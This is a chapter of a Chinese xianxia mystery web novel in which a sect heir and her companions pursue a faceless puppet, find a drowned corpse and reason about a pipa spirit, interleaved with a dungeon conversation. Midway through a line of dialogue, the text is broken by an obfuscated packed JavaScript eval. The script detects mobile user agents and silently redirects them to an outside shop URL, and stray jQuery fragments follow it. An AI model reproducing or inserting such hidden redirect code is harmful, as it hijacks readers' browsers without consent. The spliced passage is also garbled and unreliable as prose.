话音刚落,她毫不犹豫地从屋檐上跳下,边跳边收了红伞。
连廊内的女子着急忙慌的提着裙子,她脸上带着白纱,只为遮住半面,她边跑边时不时回头看。
解思弦在下边还遇到正在追她的魏玄,魏玄已经追了快三里地了,从谭府后院一直到侧门再到连廊。
“少宗主!快抓住她!”魏玄实在是跑不动了,用尽最后的力气给解思弦指了个大致的方向。
解思弦心领神会,她快跑着,心中估算了一下二人之间相隔的距离,右手攥紧自己的红发带,从带口一点一点取出几根银针来。
她看准时间,三根银针一并齐发,穿破夜色茫茫,精准地刺到女子的后颈穴位上。
女子的穴位被银针所封,她双腿一软,向前倒去,她还想挣扎一下,她只要爬出这连廊,爬到有雨的地方就能绝境逢生。
然而,就当她手刚伸出去的那一刻,裴承砚的剑已经抵到了她的脑袋前。
解思弦快速跑到那女子身边,从她的后颈中硬生生拔出那三根银针。
针拔出的瞬间,女子全身刺痛,随即身子麻木,动弹不得。
解思弦蹲下身,两手捏住她的下巴,强行把那遮面的白纱给扯了下来。
只是扯下来后,她眉头不由自主地一皱。
女子面容奇怪,无嘴无鼻,徒有呆滞的双目,眼中一片荒芜。解思弦不由得向她的手腕握去,触感僵硬。
她轻哼一声:“假人一个。”
这属实是几人意料之外。
魏玄心中早已目瞪口呆,嘴中蹦不出一个字来。
他本意是想在灵妖宗少宗主面前保持点体面,不曾想解思弦抬眼第一个锁定的就是他。
“你方才看见它时,是它已经在逃,还是它看见你后才跑的?”
“已经在跑了!”魏玄不敢胡言,诚实交代:“看路面水渍的样子,它应当是从这谭府后院跑到这儿的。”
水渍,后院。
两个词语从解思弦的脑中一闪而过。“既如此,那我们就去这谭府的后院瞧瞧。”
……
与此同时,另一边。
被关在闷收妖袋里头的小妖本以为自己快死了,但事实恰恰相反。
她醒来第一眼环顾四周,反应过来这是在一处地牢。
小妖顿时猛的起身。
灵妖宗的地牢四壁皆是打磨平整的石头,石缝间不见苔痕,手指抚过,只触到一片干爽凉意。
每隔三步就悬着一盏铜座油灯,三盏同燃,火苗稳稳上蹿,将整条通道照得亮如白昼。
这不像个地牢,倒像是个干净禅房。
“咔嚓——”
牢房门上的锁直接落地,小妖闻见声音连忙转头。
来者倒是轻手轻脚,满头青丝自然垂于两肩,面戴一张狐狸面具,与他身着的朱红大袍有些违和。
“你是个符修?”小妖语气带着惊讶。
应千崇站在牢房外,面具之下是凝重的神色。毕竟她说的没错,他的确是个符修。
“你不应该先问问我是谁吗?”
小妖不屑一顾,她攥着宽袖摆摆手:“这不重要,我原身就是一张符,你是谁,我一算便知。”
“更何况你我早在夜杀阁内就已经见过了,就算你换了副面具,我也能认出你来,谁叫你是个符修呢。”
她边说边稍稍打理青丝,卷成两个狸奴耳。
她见这大人站在牢房门口却迟迟不走,多少有些不自在。
她颤巍问道:“敢问大人如何称呼啊?”
应千崇闻言,凝声反问道:“我的名字,你难道算不出来吗?”
“在收妖袋里关久了多少对法力有些影响,所以我现在能不动法术就不动。”小妖噘噘嘴,牢骚道。
他见状也不再多说,直白道:“应千崇。”
得到准确答案的她一偏头,嗓音含笑:“大人既如此爽快告知,那么礼尚往来,应大人可唤我幸沧双。”
听到这个名字应千崇微愣,半晌才开口:“哪个沧,哪个双?”
幸沧双脱口而出:“沧波万顷的沧,举世无双的双。”
应千崇点点头:“记住了。”
随后,她随处找了处地方坐下,她本以为两人今日的交集就到此为止,谁知那“狐狸”仍屹立在牢房外,不问话,就直勾勾地盯着她。
“我有这么好盯吗?”幸沧双喃喃,她被盯得有些不自在,总感觉自己马上要死翘翘了。
“受了少宗主的命令,务必看好你,我只是照做。”他语气无奈,嘴角却又微微一笑。
“那倒也不必这般死板啊。”幸沧双心想若一直这般看着她,那她还不如在收妖袋里待一辈子。
她赶忙偏头将视线转向对面牢房,牢房内丹药、吃食应有尽有,桌上甚至还摆放着解闷的琵琶,明显是有妖住的。
可就是这么偌大的一个牢房,却空落落的。
见此,她开口转移对方的注意力:“你瞧,对面牢房的妖怪都跑了,你应大人也不管管?”
可对面人对此倒是一点不意外,只是平静道:“她可不是妖怪,而是精怪,她只是暂时放出去走走。”
“精怪?只是暂时走走?”幸沧双大脑似一瞬间被某种力量占据,转了好一会儿才转过来,道:“难不成你们灵妖宗还有溜妖精的习惯?”
这应千崇也不好多透露,只能敷衍道了句:“算是吧。”
幸沧双:“啊?”
……
三人顺着女子踏过的水渍一路寻到一块阴森之地。
谭府的后院生满了枯折的荒草,月光下,一个明晃晃的水井映入眼帘,解思弦走在最前面,水井前放置着一把断了两根弦的琵琶。
当她望向井内时,眉头蹙了蹙。
肮脏的水中飘着些许枯叶,井中漂浮着一个已经泡发的男子,脸面苍白,睁着双眼,死不瞑目。
而雨水还像豆子般不停往井下落。
魏玄自打看了谭大公子的死状后,他什么尸体都不敢再看,他躲在裴承砚身后,能离多远就离多远。
裴承砚看着眼前的景象,叹了口气:“还是晚了一步。”
“倒也不必如此惋惜,至少我们目前可确定,方才那女子是琵琶精的分身之一。”
听到解思弦说“琵琶精”三字,魏玄不禁疑惑。他此次前来专门为捉此妖而来,可到了她的嘴中怎么就成精怪了?他兴冲冲问:“少宗主为何咬定那女子就是精怪呢?这又是如何看出来的?”
“在谭大公子寝房的那滩血迹上飘着些许黑气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744281|209206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,那是血簪的魔气,所以不是琵琶妖,而是琵琶精。”
解思弦语气轻快:“至于如何看出来的,就要讲到两年前我与爹爹出游时曾遇到过这种琵琶精,它们是靠血簪的气息来化形,能力自然比普通妖怪强。
就先说这琵琶,谭大公子寝房中大多为四弦,而四弦则为子、老、中、缠,分别对应地、水、火、风。
而琵琶能化形成精,靠的就是这四根弦。”
“不知你们有没有发现一点,谭大公子作为第一具尸体死于寝房的地面,而这第二具则刚好在水中。”
解思弦轻轻一点,魏玄瞬间恍然大悟:“所以琵琶精能靠四根弦化成四个分身,而地水火风也刚好代表了它的杀人手法?”
她点点头:“对了一半,但人可不一定就是琵琶精杀的。”
魏玄眉头一皱,刚松下的心弦又紧上:“作案手法都推断出来了,人还能不是那琵琶精杀的?”
就在此时,又是一道雷电从天而降,雷光直照尸身泡发的脸上,魏玄眼中映入一片惨白,吓得他直打哆嗦。
他身前之人瞧他一副不经吓的模样,无奈摇头:“以精怪的能力,她完全可以轻而易举地将人杀死,没必要选在今夜这样盛大的场合动手。”
解思弦刚想开口就被魏玄身侧之人抢了先。
她向着声音方向抬眼,裴承砚正双手抱臂站在枯井前,神情自若,淡定的有些不像话。
他说的没问题,也正是解思弦心中所想。
“看来还是你这颗脑袋比较聪明。”
裴承砚不以为意,撇开话题:“那接下来?”
解思弦顺势接话:“不需要去找她,她自然会来找我们的。”
丑时,冷雨再次淅淅沥沥敲落檐角,树影斑驳摇曳,四下寂无人声,湿风穿廊而过,处处透着森冷幽寂。
三人皆是毫无睡意,就在此时,后院的枯丛中忽然传来一阵接一阵的响动,伴随雨点沙沙。
三人几乎是同时转头看向那团枯草。
裴承砚的剑搭在身前,解思弦则是一副无事发生的样子,双手抱臂,似早猜到了来者。
“什么人在那!”魏玄喊道。
没一会儿,一颗脑袋缓缓从后院墙上探出。
“萧燕然,你要来就大方些,何必这般鬼鬼祟祟?”
见解思弦疑惑不解,来者只能小碎步走到她面前,一手挡在嘴巴轻声道:“少宗主,这雨夜路滑,我这一身装备可不得小心点?”
萧燕然边说边指了指身上背着的箱子。
裴承砚站在一边抬头询问:“这位是?”
“哦,忘了自我介绍。在下灵妖宗的仵作,叫我萧仵作便好。”
“原来是萧仵作,有劳了。”语毕,裴承砚一把收了手中剑。
“不敢当不敢当,尸体呢,尸体在哪?”萧燕然摆着手。
“在你后边呢。”解思弦抬头示意方向,“接下来这里就交给你们了,我去趟案发现场。”
话说完毕,转眼间她就踏出了这个后院,背影融入夜色。
裴承砚转头看向那片夜色,随即决定跟上去,只抛下一句:“我去去就回。”
魏玄可不想和尸体待一起,立即回应:“诶那我也去。”
“你给我回来!”